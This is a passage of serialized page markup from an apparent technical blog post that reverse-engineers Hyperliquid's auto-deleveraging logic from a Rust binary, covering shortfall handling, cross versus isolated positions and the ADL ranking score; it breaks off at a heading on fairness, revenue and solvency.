",{"type":25,"tag":264,"props":171995,"children":171997},{"className":171996},[],[171998],{"type":30,"value":171999},"Cross",{"type":30,"value":172001}," positions have a single common ",{"type":25,"tag":264,"props":172003,"children":172005},{"className":172004},[],[172006],{"type":30,"value":171991},{"type":30,"value":172008},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":25,"tag":171486,"props":172010,"children":172013},{"addr":172011,"line-start":57369,"line-end":172012},"0x555556266b10","163",[],{"type":25,"tag":26,"props":172015,"children":172016},{},[172017],{"type":30,"value":172018},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":25,"tag":171486,"props":172020,"children":172023},{"addr":171857,"line-start":172021,"line-end":172022},"506","527",[],{"type":25,"tag":26,"props":172025,"children":172026},{},[172027,172029],{"type":30,"value":172028},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":25,"tag":172030,"props":172031,"children":172034},"bndb-xref",{"lines":172032,"addrs":172033},"1-2","0x555556ac3e18-0x555556ac3e18",[172035],{"type":30,"value":172036},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":25,"tag":26,"props":172038,"children":172039},{},[172040,172042,172048,172050,172056,172058,172064,172066,172072],{"type":30,"value":172041},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":25,"tag":264,"props":172043,"children":172045},{"className":172044},[],[172046],{"type":30,"value":172047},"only_isolated",{"type":30,"value":172049}," (or ",{"type":25,"tag":264,"props":172051,"children":172053},{"className":172052},[],[172054],{"type":30,"value":172055},"strict_isolated",{"type":30,"value":172057}," in MessagePack dumps) are added to a separate queue, ",{"type":25,"tag":264,"props":172059,"children":172061},{"className":172060},[],[172062],{"type":30,"value":172063},"deferred_queue",{"type":30,"value":172065},", which triggers ADL regardless of the system's ",{"type":25,"tag":264,"props":172067,"children":172069},{"className":172068},[],[172070],{"type":30,"value":172071},"total_shortfall",{"type":30,"value":172073},". This is dictated by this branch.",{"type":25,"tag":171486,"props":172075,"children":172078},{"addr":171857,"line-start":172076,"line-end":172077},"211","243",[],{"type":25,"tag":26,"props":172080,"children":172081},{},[172082,172084,172091],{"type":30,"value":172083},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":25,"tag":83,"props":172085,"children":172088},{"href":172086,"rel":172087},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[9066],[172089],{"type":30,"value":172090},"March 2025 incident",{"type":30,"value":172092},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":25,"tag":2352,"props":172094,"children":172096},{"id":172095},"how-do-we-get-rid-of-debt",[172097],{"type":30,"value":172098},"How Do We Get Rid of Debt?",{"type":25,"tag":26,"props":172100,"children":172101},{},[172102],{"type":30,"value":172103},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":25,"tag":26,"props":172105,"children":172106},{},[172107,172109,172114,172116,172121,172123,172128],{"type":30,"value":172108},"Thus, if the debt is insurmountable, the ",{"type":25,"tag":264,"props":172110,"children":172112},{"className":172111},[],[172113],{"type":30,"value":172063},{"type":30,"value":172115}," is overwritten by all the users marked by ",{"type":25,"tag":264,"props":172117,"children":172119},{"className":172118},[],[172120],{"type":30,"value":171959},{"type":30,"value":172122},", otherwise we keep it and only holders of underwater ",{"type":25,"tag":264,"props":172124,"children":172126},{"className":172125},[],[172127],{"type":30,"value":172055},{"type":30,"value":172129}," positions from the earlier loop are considered for ADL.",{"type":25,"tag":171455,"props":172131,"children":172132},{},[172133],{"type":25,"tag":26,"props":172134,"children":172135},{},[172136],{"type":30,"value":172137},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":25,"tag":171486,"props":172139,"children":172142},{"addr":171857,"line-start":172140,"line-end":172141},"523","526",[],{"type":25,"tag":26,"props":172144,"children":172145},{},[172146,172148,172154,172156,172162,172164,172169],{"type":30,"value":172147},"For each underwater position, we do a ",{"type":25,"tag":172030,"props":172149,"children":172151},{"addrs":172150},"0x555556ac42ad-0x555556ac42be",[172152],{"type":30,"value":172153},"B-tree lookup",{"type":30,"value":172155}," on ",{"type":25,"tag":264,"props":172157,"children":172159},{"className":172158},[],[172160],{"type":30,"value":172161},"clearinghouse.user_states[position.user]",{"type":30,"value":172163},", adding them to a ",{"type":25,"tag":264,"props":172165,"children":172167},{"className":172166},[],[172168],{"type":30,"value":30333},{"type":30,"value":172170}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":25,"tag":171486,"props":172172,"children":172175},{"addr":171857,"line-start":172173,"line-end":172174},"635","658",[],{"type":25,"tag":26,"props":172177,"children":172178},{},[172179],{"type":30,"value":172180},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":25,"tag":7764,"props":172182,"children":172183},{},[172184],{"type":25,"tag":264,"props":172185,"children":172187},{"className":172186},[267,171514],[172188],{"type":25,"tag":271,"props":172189,"children":172191},{"className":172190},[171519],[172192],{"type":25,"tag":271,"props":172193,"children":172195},{"className":172194},[274],[172196],{"type":25,"tag":271,"props":172197,"children":172199},{"className":172198,"ariaHidden":280},[279],[172200],{"type":25,"tag":271,"props":172201,"children":172203},{"className":172202},[285],[172204,172209],{"type":25,"tag":271,"props":172205,"children":172208},{"className":172206,"style":172207},[290],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":25,"tag":271,"props":172210,"children":172212},{"className":172211},[296],[172213],{"type":25,"tag":271,"props":172214,"children":172217},{"className":172215},[172216],"mtable",[172218,172298],{"type":25,"tag":271,"props":172219,"children":172222},{"className":172220},[172221],"col-align-r",[172223],{"type":25,"tag":271,"props":172224,"children":172226},{"className":172225},[987,1100],[172227,172286],{"type":25,"tag":271,"props":172228,"children":172230},{"className":172229},[992],[172231,172281],{"type":25,"tag":271,"props":172232,"children":172235},{"className":172233,"style":172234},[997],"height:2.3452em;",[172236,172259],{"type":25,"tag":271,"props":172237,"children":172239},{"style":172238},"top:-4.3452em;",[172240,172245],{"type":25,"tag":271,"props":172241,"children":172244},{"className":172242,"style":172243},[1007],"height:3.3944em;",[],{"type":25,"tag":271,"props":172246,"children":172248},{"className":172247},[296],[172249],{"type":25,"tag":271,"props":172250,"children":172252},{"className":172251},[296,30],[172253],{"type":25,"tag":271,"props":172254,"children":172256},{"className":172255},[296],[172257],{"type":30,"value":172258},"position_weight",{"type":25,"tag":271,"props":172260,"children":172262},{"style":172261},"top:-2.2092em;",[172263,172267],{"type":25,"tag":271,"props":172264,"children":172266},{"className":172265,"style":172243},[1007],[],{"type":25,"tag":271,"props":172268,"children":172270},{"className":172269},[296],[172271],{"type":25,"tag":271,"props":172272,"children":172274},{"className":172273},[296,30],[172275],{"type":25,"tag":271,"props":172276,"children":172278},{"className":172277},[296],[172279],{"type":30,"value":172280},"position_adl_amount",{"type":25,"tag":271,"props":172282,"children":172284},{"className":172283},[1177],[172285],{"type":30,"value":1180},{"type":25,"tag":271,"props":172287,"children":172289},{"className":172288},[992],[172290],{"type":25,"tag":271,"props":172291,"children":172294},{"className":172292,"style":172293},[997],"height:1.8452em;",[172295],{"type":25,"tag":271,"props":172296,"children":172297},{},[],{"type":25,"tag":271,"props":172299,"children":172302},{"className":172300},[172301],"col-align-l",[172303],{"type":25,"tag":271,"props":172304,"children":172306},{"className":172305},[987,1100],[172307,172508],{"type":25,"tag":271,"props":172308,"children":172310},{"className":172309},[992],[172311,172503],{"type":25,"tag":271,"props":172312,"children":172314},{"className":172313,"style":172234},[997],[172315,172443],{"type":25,"tag":271,"props":172316,"children":172317},{"style":172238},[172318,172322],{"type":25,"tag":271,"props":172319,"children":172321},{"className":172320,"style":172243},[1007],[],{"type":25,"tag":271,"props":172323,"children":172325},{"className":172324},[296],[172326,172330,172334,172339,172343],{"type":25,"tag":271,"props":172327,"children":172329},{"className":172328},[296],[],{"type":25,"tag":271,"props":172331,"children":172333},{"className":172332,"style":338},[337],[],{"type":25,"tag":271,"props":172335,"children":172337},{"className":172336},[356],[172338],{"type":30,"value":1065},{"type":25,"tag":271,"props":172340,"children":172342},{"className":172341,"style":338},[337],[],{"type":25,"tag":271,"props":172344,"children":172346},{"className":172345},[296],[172347,172351,172439],{"type":25,"tag":271,"props":172348,"children":172350},{"className":172349},[391,5850],[],{"type":25,"tag":271,"props":172352,"children":172354},{"className":172353},[5855],[172355],{"type":25,"tag":271,"props":172356,"children":172358},{"className":172357},[987,1100],[172359,172427],{"type":25,"tag":271,"props":172360,"children":172362},{"className":172361},[992],[172363,172422],{"type":25,"tag":271,"props":172364,"children":172367},{"className":172365,"style":172366},[997],"height:1.3944em;",[172368,172389,172400],{"type":25,"tag":271,"props":172369,"children":172370},{"style":171596},[172371,172375],{"type":25,"tag":271,"props":172372,"children":172374},{"className":172373,"style":4495},[1007],[],{"type":25,"tag":271,"props":172376,"children":172378},{"className":172377},[296],[172379],{"type":25,"tag":271,"props":172380,"children":172382},{"className":172381},[296,30],[172383],{"type":25,"tag":271,"props":172384,"children":172386},{"className":172385},[296],[172387],{"type":30,"value":172388},"total_cross_notional",{"type":25,"tag":271,"props":172390,"children":172391},{"style":5905},[172392,172396],{"type":25,"tag":271,"props":172393,"children":172395},{"className":172394,"style":4495},[1007],[],{"type":25,"tag":271,"props":172397,"children":172399},{"className":172398,"style":5915},[5914],[],{"type":25,"tag":271,"props":172401,"children":172403},{"style":172402},"top:-3.7em;",[172404,172408],{"type":25,"tag":271,"props":172405,"children":172407},{"className":172406,"style":4495},[1007],[],{"type":25,"tag":271,"props":172409,"children":172411},{"className":172410},[296],[172412],{"type":25,"tag":271,"props":172413,"children":172415},{"className":172414},[296,30],[172416],{"type":25,"tag":271,"props":172417,"children":172419},{"className":172418},[296],[172420],{"type":30,"value":172421},"position_notional",{"type":25,"tag":271,"props":172423,"children":172425},{"className":172424},[1177],[172426],{"type":30,"value":1180},{"type":25,"tag":271,"props":172428,"children":172430},{"className":172429},[992],[172431],{"type":25,"tag":271,"props":172432,"children":172435},{"className":172433,"style":172434},[997],"height:0.996em;",[172436],{"type":25,"tag":271,"props":172437,"children":172438},{},[],{"type":25,"tag":271,"props":172440,"children":172442},{"className":172441},[437,5850],[],{"type":25,"tag":271,"props":172444,"children":172445},{"style":172261},[172446,172450],{"type":25,"tag":271,"props":172447,"children":172449},{"className":172448,"style":172243},[1007],[],{"type":25,"tag":271,"props":172451,"children":172453},{"className":172452},[296],[172454,172458,172462,172467,172471,172481,172485,172490,172494],{"type":25,"tag":271,"props":172455,"children":172457},{"className":172456},[296],[],{"type":25,"tag":271,"props":172459,"children":172461},{"className":172460,"style":338},[337],[],{"type":25,"tag":271,"props":172463,"children":172465},{"className":172464},[356],[172466],{"type":30,"value":1065},{"type":25,"tag":271,"props":172468,"children":172470},{"className":172469,"style":338},[337],[],{"type":25,"tag":271,"props":172472,"children":172474},{"className":172473},[296,30],[172475],{"type":25,"tag":271,"props":172476,"children":172478},{"className":172477},[296],[172479],{"type":30,"value":172480},"user_shortfall",{"type":25,"tag":271,"props":172482,"children":172484},{"className":172483,"style":2066},[337],[],{"type":25,"tag":271,"props":172486,"children":172488},{"className":172487},[2071],[172489],{"type":30,"value":3585},{"type":25,"tag":271,"props":172491,"children":172493},{"className":172492,"style":2066},[337],[],{"type":25,"tag":271,"props":172495,"children":172497},{"className":172496},[296,30],[172498],{"type":25,"tag":271,"props":172499,"children":172501},{"className":172500},[296],[172502],{"type":30,"value":172258},{"type":25,"tag":271,"props":172504,"children":172506},{"className":172505},[1177],[172507],{"type":30,"value":1180},{"type":25,"tag":271,"props":172509,"children":172511},{"className":172510},[992],[172512],{"type":25,"tag":271,"props":172513,"children":172515},{"className":172514,"style":172293},[997],[172516],{"type":25,"tag":271,"props":172517,"children":172518},{},[],{"type":25,"tag":26,"props":172520,"children":172521},{},[172522],{"type":30,"value":172523},"We do that here:",{"type":25,"tag":171486,"props":172525,"children":172528},{"addr":171857,"line-start":172526,"line-end":172527},"828","981",[],{"type":25,"tag":26,"props":172530,"children":172531},{},[172532,172533,172539,172541,172547],{"type":30,"value":10272},{"type":25,"tag":172030,"props":172534,"children":172536},{"lines":172535},"77-79",[172537],{"type":30,"value":172538},"inner loop",{"type":30,"value":172540}," above spans all ",{"type":25,"tag":264,"props":172542,"children":172544},{"className":172543},[],[172545],{"type":30,"value":172546},"(asset_idx, direction)",{"type":30,"value":172548}," held in the cross margin position.",{"type":25,"tag":26,"props":172550,"children":172551},{},[172552,172554,172560,172562,172568,172569,172575],{"type":30,"value":172553},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":25,"tag":264,"props":172555,"children":172557},{"className":172556},[],[172558],{"type":30,"value":172559},"adl_output",{"type":30,"value":172561}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":25,"tag":264,"props":172563,"children":172565},{"className":172564},[],[172566],{"type":30,"value":172567},"position_id",{"type":30,"value":12218},{"type":25,"tag":264,"props":172570,"children":172572},{"className":172571},[],[172573],{"type":30,"value":172574},"position_shortfall",{"type":30,"value":1860},{"type":25,"tag":171486,"props":172577,"children":172580},{"addr":171857,"line-start":172578,"line-end":172579},"2377","2469",[],{"type":25,"tag":26,"props":172582,"children":172583},{},[172584,172586,172592],{"type":30,"value":172585},"Afterwards we can finally loop over the B-tree containing ",{"type":25,"tag":264,"props":172587,"children":172589},{"className":172588},[],[172590],{"type":30,"value":172591},"(position_id, cut)",{"type":30,"value":172593},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":25,"tag":26,"props":172595,"children":172596},{},[172597,172599,172604],{"type":30,"value":172598},"The final phase of ",{"type":25,"tag":264,"props":172600,"children":172602},{"className":172601},[],[172603],{"type":30,"value":171811},{"type":30,"value":172605}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":25,"tag":171486,"props":172607,"children":172610},{"addr":171857,"addr-start":172608,"addr-end":172609},"0x555556ac6d52","0x555556ac6de8",[],{"type":25,"tag":26,"props":172612,"children":172613},{},[172614],{"type":30,"value":172615},"How are positions chosen (sorted) to be deleveraged?",{"type":25,"tag":48484,"props":172617,"children":172619},{"id":172618},"who-do-we-deleverage",[172620],{"type":30,"value":172621},"Who Do We Deleverage?",{"type":25,"tag":26,"props":172623,"children":172624},{},[172625],{"type":30,"value":172626},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":25,"tag":26,"props":172628,"children":172629},{},[172630],{"type":30,"value":172631},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":25,"tag":26,"props":172633,"children":172634},{},[172635,172637,172644],{"type":30,"value":172636},"More formally, fairness can be given multiple related definitions; see ",{"type":25,"tag":83,"props":172638,"children":172641},{"href":172639,"rel":172640},"https://arxiv.org/abs/2512.01112",[9066],[172642],{"type":30,"value":172643},"this paper",{"type":30,"value":172645},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":25,"tag":26,"props":172647,"children":172648},{},[172649],{"type":30,"value":172650},"So, is Hyperliquid fair? Is it always solvent?",{"type":25,"tag":96,"props":172652,"children":172654},{"id":172653},"adl-score-computation",[172655],{"type":30,"value":172656},"ADL Score Computation",{"type":25,"tag":26,"props":172658,"children":172659},{},[172660,172662,172668,172670,172676,172678,172683],{"type":30,"value":172661},"The score function at ",{"type":25,"tag":264,"props":172663,"children":172665},{"className":172664},[],[172666],{"type":30,"value":172667},"compute_adl_ranking_score",{"type":30,"value":172669}," is core to answering this question. It's defined, most likely as an ",{"type":25,"tag":264,"props":172671,"children":172673},{"className":172672},[],[172674],{"type":30,"value":172675},"Ord",{"type":30,"value":172677}," implementation on some 20-byte address representation. A ",{"type":25,"tag":264,"props":172679,"children":172681},{"className":172680},[],[172682],{"type":30,"value":30333},{"type":30,"value":172684}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":25,"tag":26,"props":172686,"children":172687},{},[172688,172690,172695,172697,172703,172705,172712,172714,172721],{"type":30,"value":172689},"Those sort routines are ",{"type":25,"tag":10281,"props":172691,"children":172692},{},[172693],{"type":30,"value":172694},"generated by the compiler",{"type":30,"value":172696},": since Rust binaries include a lot of metadata by default in ",{"type":25,"tag":264,"props":172698,"children":172700},{"className":172699},[],[172701],{"type":30,"value":172702},".comment",{"type":30,"value":172704},", we may even manually ",{"type":25,"tag":83,"props":172706,"children":172709},{"href":172707,"rel":172708},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[9066],[172710],{"type":30,"value":172711},"take advantage",{"type":30,"value":172713}," of this to recover the ",{"type":25,"tag":83,"props":172715,"children":172718},{"href":172716,"rel":172717},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[9066],[172719],{"type":30,"value":172720},"exact source of library functions",{"type":30,"value":1860},{"type":25,"tag":26,"props":172723,"children":172724},{},[172725,172727,172732],{"type":30,"value":172726},"Let's see how this ties back into the ",{"type":25,"tag":264,"props":172728,"children":172730},{"className":172729},[],[172731],{"type":30,"value":171811},{"type":30,"value":359},{"type":25,"tag":171486,"props":172734,"children":172736},{"source":171811,"target":172667,"direction":171812,"path":172735},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":25,"tag":26,"props":172738,"children":172739},{},[172740],{"type":30,"value":172741},"And here's the main call site used for sorting:",{"type":25,"tag":171486,"props":172743,"children":172746},{"addr":171857,"line-start":172744,"line-end":172745},"2806","2814",[],{"type":25,"tag":96,"props":172748,"children":172750},{"id":172749},"ratio-1-effective-leverage",[172751],{"type":30,"value":172752},"Ratio 1: Effective Leverage",{"type":25,"tag":7764,"props":172754,"children":172755},{},[172756],{"type":25,"tag":264,"props":172757,"children":172759},{"className":172758},[267,171514],[172760],{"type":25,"tag":271,"props":172761,"children":172763},{"className":172762},[171519],[172764],{"type":25,"tag":271,"props":172765,"children":172767},{"className":172766},[274],[172768],{"type":25,"tag":271,"props":172769,"children":172771},{"className":172770,"ariaHidden":280},[279],[172772,172803],{"type":25,"tag":271,"props":172773,"children":172775},{"className":172774},[285],[172776,172780,172790,172794,172799],{"type":25,"tag":271,"props":172777,"children":172779},{"className":172778,"style":7398},[290],[],{"type":25,"tag":271,"props":172781,"children":172783},{"className":172782},[296,30],[172784],{"type":25,"tag":271,"props":172785,"children":172787},{"className":172786},[296],[172788],{"type":30,"value":172789},"effective leverage",{"type":25,"tag":271,"props":172791,"children":172793},{"className":172792,"style":338},[337],[],{"type":25,"tag":271,"props":172795,"children":172797},{"className":172796},[356],[172798],{"type":30,"value":1065},{"type":25,"tag":271,"props":172800,"children":172802},{"className":172801,"style":338},[337],[],{"type":25,"tag":271,"props":172804,"children":172806},{"className":172805},[285],[172807,172812],{"type":25,"tag":271,"props":172808,"children":172811},{"className":172809,"style":172810},[290],"height:2.113em;vertical-align:-0.686em;",[],{"type":25,"tag":271,"props":172813,"children":172815},{"className":172814},[296],[172816,172820,172915],{"type":25,"tag":271,"props":172817,"children":172819},{"className":172818},[391,5850],[],{"type":25,"tag":271,"props":172821,"children":172823},{"className":172822},[5855],[172824],{"type":25,"tag":271,"props":172825,"children":172827},{"className":172826},[987,1100],[172828,172903],{"type":25,"tag":271,"props":172829,"children":172831},{"className":172830},[992],[172832,172898],{"type":25,"tag":271,"props":172833,"children":172835},{"className":172834,"style":171592},[997],[172836,172857,172868],{"type":25,"tag":271,"props":172837,"children":172838},{"style":171596},[172839,172843],{"type":25,"tag":271,"props":172840,"children":172842},{"className":172841,"style":4495},[1007],[],{"type":25,"tag":271,"props":172844,"children":172846},{"className":172845},[296],[172847],{"type":25,"tag":271,"props":172848,"children":172850},{"className":172849},[296,30],[172851],{"type":25,"tag":271,"props":172852,"children":172854},{"className":172853},[296],[172855],{"type":30,"value":172856},"account value",{"type":25,"tag":271,"props":172858,"children":172859},{"style":5905},[172860,172864],{"type":25,"tag":271,"props":172861,"children":172863},{"className":172862,"style":4495},[1007],[],{"type":25,"tag":271,"props":172865,"children":172867},{"className":172866,"style":5915},[5914],[],{"type":25,"tag":271,"props":172869,"children":172870},{"style":171647},[172871,172875],{"type":25,"tag":271,"props":172872,"children":172874},{"className":172873,"style":4495},[1007],[],{"type":25,"tag":271,"props":172876,"children":172878},{"className":172877},[296],[172879,172884,172893],{"type":25,"tag":271,"props":172880,"children":172882},{"className":172881},[296],[172883],{"type":30,"value":171662},{"type":25,"tag":271,"props":172885,"children":172887},{"className":172886},[296,30],[172888],{"type":25,"tag":271,"props":172889,"children":172891},{"className":172890},[296],[172892],{"type":30,"value":171672},{"type":25,"tag":271,"props":172894,"children":172896},{"className":172895},[296],[172897],{"type":30,"value":171662},{"type":25,"tag":271,"props":172899,"children":172901},{"className":172900},[1177],[172902],{"type":30,"value":1180},{"type":25,"tag":271,"props":172904,"children":172906},{"className":172905},[992],[172907],{"type":25,"tag":271,"props":172908,"children":172911},{"className":172909,"style":172910},[997],"height:0.686em;",[172912],{"type":25,"tag":271,"props":172913,"children":172914},{},[],{"type":25,"tag":271,"props":172916,"children":172918},{"className":172917},[437,5850],[],{"type":25,"tag":26,"props":172920,"children":172921},{},[172922,172924,172930,172932,172938,172939,172945,172947,172953],{"type":30,"value":172923},"We can see in the decompilation below, through the SIMD noise, that ",{"type":25,"tag":264,"props":172925,"children":172927},{"className":172926},[],[172928],{"type":30,"value":172929},"abs_notional",{"type":30,"value":172931}," (unsigned), and ",{"type":25,"tag":264,"props":172933,"children":172935},{"className":172934},[],[172936],{"type":30,"value":172937},"float.d(rbx)",{"type":30,"value":18632},{"type":25,"tag":264,"props":172940,"children":172942},{"className":172941},[],[172943],{"type":30,"value":172944},"account_value",{"type":30,"value":172946}," (signed); the division is ",{"type":25,"tag":264,"props":172948,"children":172950},{"className":172949},[],[172951],{"type":30,"value":172952},"abs_notional / account_value",{"type":30,"value":1860},{"type":25,"tag":26,"props":172955,"children":172956},{},[172957],{"type":30,"value":172958},"This tells us the risk multiplier that the user took on for this position.",{"type":25,"tag":171486,"props":172960,"children":172964},{"addr":172961,"line-start":172962,"line-end":172963},"0x555556abb140","278","296",[],{"type":25,"tag":96,"props":172966,"children":172968},{"id":172967},"ratio-2-profit-ratio",[172969],{"type":30,"value":172970},"Ratio 2: Profit Ratio",{"type":25,"tag":7764,"props":172972,"children":172973},{},[172974],{"type":25,"tag":264,"props":172975,"children":172977},{"className":172976},[267,171514],[172978],{"type":25,"tag":271,"props":172979,"children":172981},{"className":172980},[171519],[172982],{"type":25,"tag":271,"props":172983,"children":172985},{"className":172984},[274],[172986],{"type":25,"tag":271,"props":172987,"children":172989},{"className":172988,"ariaHidden":280},[279],[172990,173021],{"type":25,"tag":271,"props":172991,"children":172993},{"className":172992},[285],[172994,172998,173008,173012,173017],{"type":25,"tag":271,"props":172995,"children":172997},{"className":172996,"style":7398},[290],[],{"type":25,"tag":271,"props":172999,"children":173001},{"className":173000},[296,30],[173002],{"type":25,"tag":271,"props":173003,"children":173005},{"className":173004},[296],[173006],{"type":30,"value":173007},"profit ratio",{"type":25,"tag":271,"props":173009,"children":173011},{"className":173010,"style":338},[337],[],{"type":25,"tag":271,"props":173013,"children":173015},{"className":173014},[356],[173016],{"type":30,"value":1065},{"type":25,"tag":271,"props":173018,"children":173020},{"className":173019,"style":338},[337],[],{"type":25,"tag":271,"props":173022,"children":173024},{"className":173023},[285],[173025,173029],{"type":25,"tag":271,"props":173026,"children":173028},{"className":173027,"style":171567},[290],[],{"type":25,"tag":271,"props":173030,"children":173032},{"className":173031},[296],[173033,173037,173156],{"type":25,"tag":271,"props":173034,"children":173036},{"className":173035},[391,5850],[],{"type":25,"tag":271,"props":173038,"children":173040},{"className":173039},[5855],[173041],{"type":25,"tag":271,"props":173042,"children":173044},{"className":173043},[987,1100],[173045,173145],{"type":25,"tag":271,"props":173046,"children":173048},{"className":173047},[992],[173049,173140],{"type":25,"tag":271,"props":173050,"children":173052},{"className":173051,"style":171592},[997],[173053,173074,173085],{"type":25,"tag":271,"props":173054,"children":173055},{"style":171596},[173056,173060],{"type":25,"tag":271,"props":173057,"children":173059},{"className":173058,"style":4495},[1007],[],{"type":25,"tag":271,"props":173061,"children":173063},{"className":173062},[296],[173064],{"type":25,"tag":271,"props":173065,"children":173067},{"className":173066},[296,30],[173068],{"type":25,"tag":271,"props":173069,"children":173071},{"className":173070},[296],[173072],{"type":30,"value":173073},"entry notional",{"type":25,"tag":271,"props":173075,"children":173076},{"style":5905},[173077,173081],{"type":25,"tag":271,"props":173078,"children":173080},{"className":173079,"style":4495},[1007],[],{"type":25,"tag":271,"props":173082,"children":173084},{"className":173083,"style":5915},[5914],[],{"type":25,"tag":271,"props":173086,"children":173087},{"style":171647},[173088,173092],{"type":25,"tag":271,"props":173089,"children":173091},{"className":173090,"style":4495},[1007],[],{"type":25,"tag":271,"props":173093,"children":173095},{"className":173094},[296],[173096,173102,173107,173117,173122,173126,173130,173135],{"type":25,"tag":271,"props":173097,"children":173099},{"className":173098},[1082],[173100],{"type":30,"value":173101},"max",{"type":25,"tag":271,"props":173103,"children":173105},{"className":173104},[391],[173106],{"type":30,"value":394},{"type":25,"tag":271,"props":173108,"children":173110},{"className":173109},[296,30],[173111],{"type":25,"tag":271,"props":173112,"children":173114},{"className":173113},[296],[173115],{"type":30,"value":173116},"pnl",{"type":25,"tag":271,"props":173118,"children":173120},{"className":173119},[404],[173121],{"type":30,"value":407},{"type":25,"tag":271,"props":173123,"children":173125},{"className":173124,"style":411},[337],[],{"type":25,"tag":271,"props":173127,"children":173129},{"className":173128,"style":411},[337],[],{"type":25,"tag":271,"props":173131,"children":173133},{"className":173132},[296],[173134],{"type":30,"value":953},{"type":25,"tag":271,"props":173136,"children":173138},{"className":173137},[437],[173139],{"type":30,"value":440},{"type":25,"tag":271,"props":173141,"children":173143},{"className":173142},[1177],[173144],{"type":30,"value":1180},{"type":25,"tag":271,"props":173146,"children":173148},{"className":173147},[992],[173149],{"type":25,"tag":271,"props":173150,"children":173152},{"className":173151,"style":171690},[997],[173153],{"type":25,"tag":271,"props":173154,"children":173155},{},[],{"type":25,"tag":271,"props":173157,"children":173159},{"className":173158},[437,5850],[],{"type":25,"tag":26,"props":173161,"children":173162},{},[173163,173165,173171],{"type":30,"value":173164},"It uses entry notional (",{"type":25,"tag":264,"props":173166,"children":173168},{"className":173167},[],[173169],{"type":30,"value":173170},"r14_2",{"type":30,"value":173172},") as the divisor. PNL is clamped to non-negative before division.",{"type":25,"tag":26,"props":173174,"children":173175},{},[173176],{"type":30,"value":173177},"This basically tells us how well the user's bet went.",{"type":25,"tag":171486,"props":173179,"children":173183},{"addr":173180,"addr-start":173181,"addr-end":173182},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":25,"tag":26,"props":173185,"children":173186},{},[173187,173189,173195,173197,173203],{"type":30,"value":173188},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":25,"tag":264,"props":173190,"children":173192},{"className":173191},[],[173193],{"type":30,"value":173194},"1e-8",{"type":30,"value":173196},", in order not to cancel each other out. The final ADL ranking score is ",{"type":25,"tag":264,"props":173198,"children":173200},{"className":173199},[],[173201],{"type":30,"value":173202},"effective_leverage * profit_ratio",{"type":30,"value":173204},", consistent with both ratio directions and the max clamp on PNL.",{"type":25,"tag":26,"props":173206,"children":173207},{},[173208],{"type":30,"value":173209},"So, in essence, we look for risky and profitable positions!",{"type":25,"tag":247,"props":173211,"children":173213},{"id":173212},"partial-and-total-adl",[173214],{"type":30,"value":173215},"Partial and Total ADL",{"type":25,"tag":26,"props":173217,"children":173218},{},[173219],{"type":30,"value":173220},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":25,"tag":26,"props":173222,"children":173223},{},[173224],{"type":30,"value":173225},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":25,"tag":26,"props":173227,"children":173228},{},[173229,173231,173236],{"type":30,"value":173230},"So essentially, in pseudocode, the whole latter part of ",{"type":25,"tag":264,"props":173232,"children":173234},{"className":173233},[],[173235],{"type":30,"value":171811},{"type":30,"value":173237}," boils down to:",{"type":25,"tag":171486,"props":173239,"children":173242},{"addr":171857,"line-start":173240,"line-end":173241},"3252","3632",[],{"type":25,"tag":26,"props":173244,"children":173245},{},[173246],{"type":30,"value":173247},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":25,"tag":48484,"props":173249,"children":173251},{"id":173250},"branches",[173252],{"type":30,"value":173253},"Branches",{"type":25,"tag":26,"props":173255,"children":173256},{},[173257],{"type":30,"value":173258},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":25,"tag":26,"props":173260,"children":173261},{},[173262],{"type":30,"value":173263},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":25,"tag":48484,"props":173265,"children":173267},{"id":173266},"financial-conclusions",[173268],{"type":30,"value":173269},"Financial Conclusions",{"type":25,"tag":96,"props":173271,"children":173273},{"id":173272},"fairness-revenue-solvency-trilemma",[173274],{"type":30,"value":173275},"Fairness, Revenue, Solvency 